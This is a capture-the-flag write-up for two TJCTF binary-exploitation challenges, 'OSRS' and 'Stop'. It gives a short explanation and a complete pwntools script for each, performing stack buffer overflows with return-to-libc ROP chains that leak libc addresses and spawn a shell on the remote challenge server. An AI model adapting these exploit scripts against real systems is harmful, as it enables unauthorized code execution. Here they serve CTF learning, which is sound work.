OSRS

Description

My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.

I don’t know what any of this means but this system sure looks old! It has like zero security features enabled…

Files

osrs

libc-2.27.so

Exploit

At first, you might think that this was simple BoF where you write shell on a stack and return to the shell. Since in description they say they have zero security features enabled. Well ASLR is enabled so it won’t work. We know that it wont work because if you give invalid tree, you get pointer and you can see that it changes every time.

Since PIE is disabled, we can just do ROP to libc. This technique is explained in this post so I won’t be writing about it. https://elnath.io/2020/05/30/stop/

from pwn import *

context.update(arch='i386', os='linux')

is_local = False
write_file = True
if is_local:
	p = process("./osrs")
	libc = ELF("/usr/lib32/libc-2.30.so")
else:
	p = remote("p1.tjctf.org", 8006)
	libc = ELF("./libc-2.27.so") #https://libc.blukat.me/?q=puts%3A0xf7e5e360
elf = ELF("./osrs")
rop = ROP(elf)

GOT_PUTS = elf.got["puts"]
PRINTF = elf.plt["puts"]
GET_TREE = elf.sym["get_tree"]
RET = rop.find_gadget(['ret'])[0]
JUNK = 'A' * 272
JUNK_ADDR = 'B' * 4


### First ROP ###
p.recvline()
p.sendline(JUNK + p32(PRINTF) + p32(GET_TREE) +p32(GOT_PUTS))
p.recvline()
LEAK_PUTS = p.recvline()
PUTS = u32(LEAK_PUTS[0:4])
print("LEAKED PUTS:" + hex(PUTS))

### Second ROP ###
offset_puts = libc.sym['puts']
offset_system = libc.sym['system']
offset_binsh = next(libc.search("/bin/sh"))

SYSTEM = PUTS - (offset_puts - offset_system)
BINSH = PUTS + (offset_binsh - offset_puts)
p.sendline(JUNK + p32(SYSTEM) + JUNK_ADDR + p32(BINSH))
p.recvline()
p.interactive()

Stop

Description

I love playing stop, but I am tired of losing. Check out my new stop answer generator! It’s a work in progress and only has a few categories, but it’s 100% bug-free!
 

Files

 

Explanation

If we use pwn checksec on stop, we can see that there are no stack canary and no PIE. Since PIE is turned off, we can use ROP!
image-4
 

In main(), there is buffer over flow in read function. read(0x0, *(rbp-0x110), 0x256) It can read up to 0x256 when buffer is from rbp – 0x110.

download

First ROP

First we can leak the address of __libc_start_main by jumping to printf(GOT__libc_start_main) and then returning back to main so that we can use the GOT__libc_start_main to calculate system from libc.
 
download
 

Second ROP

With system location calculated, we can jump to system(/bin/sh)
download
 

Exploiting Remote Server

When you try to use this exploit remotely, we have to remind ourselves that their stack alignment is different due to env variable and etc. Stack should be aligned by 16. We can add RET instruction to buffer over flow to make it aligned. Also, their libc will be different, so we can use https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0 to look for their libc version with the leak __libc_start_main.
 

Exploit

#!/usr/bin/python2.7
from pwn import *

### Settings ###
is_local = False



### Setup ###
if is_local:
    p = process("./stop")
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.30.so")
else:
    p = remote("p1.tjctf.org", 8001)

    # You can find that remote is using libc by using the leaked
    # __libc_start_main address in this website. https://libc.blukat.me/?q=__libc_start_main%3A0x7fa769469ab0
    libc = ELF("./libc-2.27.so")

elf = ELF("./stop")
rop = ROP(elf)



### First ROP ###

# JUNK contains all the main stack + RBP.
JUNK = 'A' * 282


PRINTF = elf.plt['printf']
GOT_LIBC_START_MAIN = elf.got['__libc_start_main']
POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
MAIN = elf.sym['main']
RET = rop.find_gadget(['ret'])[0]

offset_libc_start_main = libc.sym['__libc_start_main']
offset_system = libc.sym['system']

# All these RET is not needed locally. But remotely you need them to make stack byte aligned by 16.
p.sendline(JUNK + p64(POP_RDI) + p64(GOT_LIBC_START_MAIN)  + p64(RET) + p64(PRINTF) + p64(RET) + p64(MAIN))
sleep(1) # Delay for send.

first_msg = p.recv()

# Had to mess around with received message. It should be something like 0x00007fXXXXXXXXXX.
LIBC_START_MAIN = u64(first_msg[-20:-14].ljust(8,'\x00'))
print("Leaked __libc_start_main: " + hex(LIBC_START_MAIN))



### Second ROP ###

SYSTEM = LIBC_START_MAIN + (offset_system - offset_libc_start_main)
BINSH = next(elf.search("/bin/sh"))

p.sendline(JUNK + p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM))
sleep(1)

second_msg = p.recv()
p.interactive()